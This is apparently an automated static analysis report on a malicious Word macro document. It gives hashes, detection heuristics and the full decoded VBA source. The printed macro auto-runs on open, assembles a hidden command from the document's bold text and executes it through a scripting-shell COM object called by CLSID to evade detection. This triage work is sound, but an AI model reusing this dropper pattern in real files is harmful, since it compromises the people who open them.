Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f8f1018792ea9031…

MALICIOUS

Office (OOXML)

56.4 KB Created: 2021-02-23 13:56:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-03-01
MD5: 6f5224de26509c2a56adabb52ee652a2 SHA-1: 33742f52d61563d7e0c7c26cf95c8fb8e98fe78b SHA-256: f8f1018792ea90310fbe3ea007f9a05fda3eb3673010e8ea307b4e409c4a17ce
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
    Matched line in script
    Set vb09 = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set vb09 = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10204 bytes
SHA-256: d26808d92ebcee182d669502583a6d2453d2be2eea8872db55ec0da4c0ee11a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
174 of 248 identifiers look randomly generated (e.g. 'uaarkdhspfjcpndsigxvjcpndsigxvqbtdhspmpn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Dim oahkvwg As String


Private Sub Document_Open()
Call nmngtyy
End Sub

Private Sub nmngtyy()












LLLLL



End Sub


Public Sub LLLLL()
If 6534.6344 + 76.3456 = Sin(34) * 0.1 Then
Else
Call SeSmREplp.OuqCjcdgX
End If
End Sub




Attribute VB_Name = "SeSmREplp"
#If VBA7 Then


#Else


#End If

#If VBA7 Then
Private Declare PtrSafe Function boqdkskywnt Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Const pmhcddgo = 4763156

#Else
Private Declare Function boqdkskywnt Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
#End If


#If VBA7 Then
Const zjlpeyfj = 120289292
Private Declare PtrSafe Function qejrzk Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function qejrzk Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#End If



#If VBA7 Then
Private Declare PtrSafe Function ojfsnvscmb Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Const nsqitw = 3
#Else
Private Declare Function ojfsnvscmb Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
#End If
#If VBA7 Then
Private Declare PtrSafe Function mxxvukahffe Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#Else
Private Declare  Function boqdkskywnt Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const bncpivsy = 70

Private Declare  Function qejrzk Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare  Function ojfsnvscmb Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare  Function mxxvukahffe Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#End If

Private Type jbtvkjz
     wfllxx As Long
End Type


#If VBA7 Then


#Else


#End If






Function xtByfYFksANNyGT(hFgxErXdsXiScMPrW, nydUk, NPhlbhvkoomZoUDrudS, rNqZhwsVdhoMUMjpKmBLcy, napCCyvEACMcAZHDfoZGHzZEck, hHbGvsjCzrtqWic, KHjiQCiVWCsVoBlZRjOxYvRkRWIMmyCYfL)
mTfPPqyRttVjYzUqcmngPlj = 6.73020813362273E+37
SKYjDJJGSYPEAwzGukFlDW = "tfXlLSnJBkGwE"
PNkjPQzkQqgnglfgx = "wyfDgXyofPOTtzupfWVB"
FMIPgEYlCdVnlAGmLhMlaljVxxhsrFJLvh = "mWoATZDdltfHzoCUoIPNUcmSjXftwTJrEJTPX"
sMXHxcRpiEolUCfTWJjVQwtJgSjoC = 9.84445448122231E+41
UnwHPDqMeKBtobELzHLkmKgBQwSNaftcmsjB = 657658958
MmcdKeZTWHSFVSbcSDKHurTkclyQYGwrCWm = 5587009600#
jGbfGitpAHFNSzUoZuuV = 9.66909321934072E+25
rBYfJuPKaCzgGtLceAM = "djUglyZmIRHcQBrFCzwneeZFFgLGJMvthYpHgstLV"
CJuXQFCGZeDZTzKPaFmScvWNur = 7.13593679185064E+23
jYKFlRAcQKiQ = 459415
xtByfYFksANNyGT "EDnQpIFq"
End Function

Function UveRIVphWGjfhghksNdMyMAKgLNVQGU(QSoYDAGmhcYtShPYSISXtFsogOZIGXmmVlHsRNOzVe, GsMmWYrXzmTELaArobxgJplYgZ, HFtTBPcmwUcDkPAmABhwR, VZYXxUQHnFwBjSFT, oinEWMXNRIClWycFr)
silXnXaSPppQdlaVEmFObelHuUkxITQPmnnzvJwV = 5.37285515027217E+37
LxIXkgvkrRdAFUOxddTmdKvZZeqybauqk = "PgckJnpMQBmOgSZBRfdiJBBjx"
pwIRWnQd = "hVtTfxRt"
mKxXZaIPNBSNesmDysEzezyDNrfYLxlsIHxmISX = "IHaOLrDdGQhEMtPmMtJhujDPQaFWuA"
fUWrWYjsWoCSvQgfPrKaPIqnYELykmgiGVBjqCtN = "BntrRHzjuqfjafWeiSSNkHjHUL"
OxoMyxxNUxvHwMPqwBygpfFH = 9.91317781754696E+40
aAstElXGhkmFdgmcRCgnLVBVRnGVflj = 4.85480194928691E+25
gcXwEUQMYBPbdkSULDXdZUYEzXcQeBawBuZAJ = "YxlUOKGZrgUmKbNGSMESxhrAhXaTaiLSLVfa"
UveRIVphWGjfhghksNdMyMAKgLNVQGU "EGOyZfvvsryivcNwqsqGkmrjnzJVCbownONGp"
End Function

Sub SPlUGNPkgSpdTMjioqrRMqEpDpLdSzsKYAdGg(YCvEpgbkfFyWUdpTGRO, KZVZtQDCvgPGGWTnKfxLIDUDXgG, HTHwrKJygWLY, YoyqrPyJBJaUDWHESCNJsubZTP, MUHoUYijOWNgQIBGJgbooCuOTyPkdMZXbTmouVGw, mtiFWwBroSsrbHJasUVJ, FBxpEwWMLoZfTCJLJxBNtpuggAMcNBAknXgrlPRzff, dSMIFAPjXTvEQGQJDkuyKnoswV, atfCiNMRNTsHbyRdQ)
nRmxhtbj = 6.22472972859595E+27
gXsJ = "myebLvRQClSgafFTidCjDZfPJ"
NTpfFZqQXZVB = 1.1314683666728E+18
koWPBfATwdgxuqaYMTPSBiybXftqJHgxgiRugKd = 37654251249#
IqRpIhLjPsLFGjtCqvrWlKKoxjRLYfr = "qfJKQ"
SqTKaRwbrx = "PElSHyygcsYQzKkAJOaajlhdBCbjssWsTWI"
GjjhKdoQtZUzqQmMQXGeXIQF = 9.31829246563183E+29
PokVgwdBJuZftPFxRjbic = "cFJcwQeDySdLvpDuNdqygWMgXHAhFYoXuWMfME"
NWGwHCiTQtWWyrdLFsdEoPxxZdGQZdYiJecbaaFepoj = 38999730
jCqfQKGmjzKyZIWdvRtnVoNTOCkfmyPAfJ = "WmaAPWlzJUeBSDc"
XvwSupXQOZbzkjKSQuAqUReQjpDzkA = 7.56913570102989E+32
cKPrFjrThPKmqvlOaJ = "lYDlOGQfiFmXg"
GzpVsEiYaSbKeo = "xacpXPtYZBkoEIOvrdZj"
End Sub

Sub vbwrIieLJBjPrJbV(wtiEdMykJDbcKleJiIxMaPTHQeQMWkgFEZAhuktCv, PxILuXjmIVbWVhZaozwlOZWWYkkxOxOuQm, WyFk, ckbLeiDTHTwuGKZqamnJmmYKGgFigDcjOCJdxL, qhQquBToGMJvLSbGqMQExcUmDrNfEBwsPuxcV, dJmsyWXIQQnvSRhGtNMemCookFQRfQUzluiHSFdy)
HtFFczwoKXjaoojOOrbrwbXmGWPljtlGmTxktKSbAC = 4.43342412170402E+32
KvkVMzBdRzdBgVSzFjKFRmcoUqzUEYzrteMrVBCliP = "GISROaKMrpxgYSwAWAg"
tAlHBJbdEgYWBSVfCYkutMH = 468032019
wynYY = 3506217
glCq = 4.18168752467684E+29
GXKPFyhIKQaeGwRyxPmfhsjL = 8.39176237897459E+27
VDEDAn = "KrPHrIfvLDwlVThbHCi"
QLtOoyMjvcEKdGUOhKGoj = "TdvxqknbxARREzyASswvzjzmIPzTuwwumZrQ"
rIcwUeDsMBUQgrNsoq = "eIoalUgBEXeeIiibkUzfEvtwNeDNFiBy"
End Sub

Sub bMXvJBIqxNxfyITUlDYuLBklPwktCvh(GlJCiqbndzUhXMhyPdXpLgjPsNGRSv, VgvBwYYBdXravYOpSVPpF, JXaCuKUjKUidyBbKlaqbuRTFnqd, ovDGQrXYbtdOhtMXsSZNOH, pydjrEUPEhwvPRcMGdDirwcuAFwNUQP, hLNHnIgTHeZ, kyxGPGTkKZstWjjlIGunRnNDDUYyx)
mbxfVaaidSIhqmpFkij = "aDXZclfMQOnCfdsWKnyK"
pRtsCucHfJULMtjDXDkvNSOeFB = "tSvwjZrkmehZqC"
lFTrTjJ = "mjOOPXCOmBhjojMklU"
xZqdtsIgJL = "idkzJNVKbMjPvXJ"
QCsjFyaMuvFVWHrtDXT = "ypZzPb"
wNJvGjYseQcJjDYEOHznUVqLXEFVactTeFeykA = 3.08703020995119E+27
lyPMcbOjAalLsPnYbWyXBeDRBXIeeZaUNHOpEIOkIUF = "pRBErgDbmcxHvxLFSkFbAQxkBxTSINPhZHckVEmx"
yilJHuGxIRYPevYUQCtMk = "YNQinVajOxHEBiMbuD"
UAwqSuMDPFBtkl = "KXsZGlWZCaHZtqHpIqzPScWynaSK"
NEXTWYoiVwbyatPKVSMHPtCkVMh = 6.70675907558619E+24
End Sub

Sub twdzhXcGgQGpBhy(ulfSL, pWkGXSTHntXRriGnRHGDOUBmxJqmojRJmgDtaPvt, IFJNDVzvGUXMIgVVyIOchSEcOfLfNNCMMO, OsZtnqrh)
JUhsRKAtaHdZOalplpiRBL = 2.5283297430057E+42
plvfvHPMKaVeWJpwiwkYauDsGfREMzgXxXsHWfElL = 3.65416083661973E+26
SytwPgwszVRnWuiDZQqLALtygzRhaDsyNgcEyJQ = "ITzLFKAxZTFnuAtGEvPPOORwcSZqSdEP"
FCgM = 2.97541395925195E+33
sWyTIGxEDNmVADtAWtCDimkKfwPpnp = 4.0288549263582E+27
End Sub



Public Sub OuqCjcdgX()

On Error Resume Next



 
    'exjnvojwxffupttrkbd6936wenead
'yfwzdtytweznkdpomihev



 Dim upttrkbd As Integer

  
        

'rzzmlxkmvzvjzjiztp56147498
'1919





 Do Until 1116 = 1116
              Dim fdhshdfhcm As Object
      Randomize
        Loop



'qqjgcorztczxbrqbtdhspmp
'fdhshdfhcmtjogbzdfjcpndsigxvrztczxbrqbtdhspmp
'viuzqeycmjcpndsigxvnbjjfv





'mvzvjzjiztpupttrkbd56147498
'znyzwrz6936
'vbbfhfnknctznyzwrz831758




        
'6936rzzmlxk
'7600119
'56147498upttrkbd
        
      
        
'pjdtrouoinbjjfvqqjgcorztczxbrqbtdhspmp
'qgxfteylqbtdhspmprztczxbrqbtdhspmp



'cfpmscgqsvaqqjgcohhnjgdbtjogbzdf
'rztczxbrqbtdhspmprztczxbrqbtdhspmp
'nbjjfvqgxfteylqbtdhspmp






'rzzmlxk
'gwqkyvntzaznyzwrz#Q14
'vlkuehjwc
'831758znyzwrz


   
             If vlkuehjwc = "avplgq" Then
            Dim gwqkyvntza
            
            vlkuehjwc = 1749828495982#
        End If
        


        'uaarkdhspfjcpndsigxvjcpndsigxvqbtdhspmpnbjjfv
'qbtdhspmpnbjjfvqqjgcorztczxbrqbtdhspmp
'fxqciyvmqbtdhspmpqbtdhspmpnbjjfv
'tjogbzdfqqjgcopjdtrouoinbjjfv
'jcpndsigxvqqjgcoqgxfteylqbtdhspmp



        
        If IsDate(bgebcrf) And ((76001 + 6936) / (831758 + 404599)) <> 853345192379207# Then
          yqjgrr = "tfxcujq" & CStr("gaearyaypac")
End If
        





'shyrewjcpndsigxvpjdtrouoinbjjfv
'hhnjgdbtjogbzdfpjdtrouoinbjjfv
'weneadQ14
'znkdpomihevQ11















   Dim myShape As InlineShape
    Dim myRange As Range
    For Each myRange In ActiveDocument.StoryRanges
        For Each myShape In myRange.InlineShapes
            myShape.Delete
        Next myShape
    Next myRange
Dim zxd As Variant
Dim zxtgsaqeyhzfgds3re As String



Dim oRng As Range
Dim oNewRng As Range
Set oRng = Selection.Range '(the formatted range you are wanting to write)
oRng.MoveEndWhile Chr(Abs(-32.1)), wdBackward 'Remove trailing spaces from the range
Set oNewRng = ActiveDocument.Range 'Locate the range where it is to be written
oNewRng.Collapse wdCollapseEnd
'oNewRng.FormattedText = oRng 'then write it.





 Dim Para As Paragraph
    Dim i As Long

    Application.ScreenUpdating = False
    With ActiveDocument
        For i = .Paragraphs.Count To 1 Step -1
            Set Para = .Paragraphs(i)
            With Para
                If .Range.End - .Range.Start = 1 Then
                    .Range.Delete
                Else
             If 9.4 + Sin(66) = 45.66 Then
                Else
                  .SpaceBefore = 6
                    .SpaceAfter = 6
                End If
                End If
            End With
        Next i
    End With
    Application.ScreenUpdating = True




Dim singleLine As Paragraph
   Dim rng As Range
   Dim pos As Integer
    Dim Wrd As Range

   For Each singleLine In ActiveDocument.Paragraphs
      Set rng = singleLine.Range
   
   
    
    
         If rng.Font.Bold Then
            'MsgBox "This is bold"
               lineText = singleLine.Range.Text
          IXwJdmtQ = IXwJdmtQ + lineText
        
       ' MsgBox (IXwJdmtQ)
         End If
     
   Next

WpkbB = "xOKhf"
fE = "JCT"
TDOvQ = "F"
vWYYg = 3561180
HKODnr = "ok"
YmBx = "436"
s4n2 = "KyeOwJhq"
b7n87s = "7QnemiX"
BL3u7 = "c5KuqKtg4gr"




ZFF = Null
VCFGv = ZFF



IXwJdmtQ = Replace(IXwJdmtQ, "yzipujpxa", "")




Set vb09 = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
vb09.Run Gravity & "" & IXwJdmtQ, 0.0001



End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 34304 bytes
SHA-256: 19142c791c34be346ce3a5795eb4a13421a9dfebde02aad822432c1f3b10c0a2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
483 of 700 identifiers look randomly generated (e.g. 'uaarkdhspfjcpndsigxvjcpndsigxvqbtdhspmpn') — consistent with name-mangling obfuscation.

Open this report in the interactive analyzer, or submit your own file for analysis.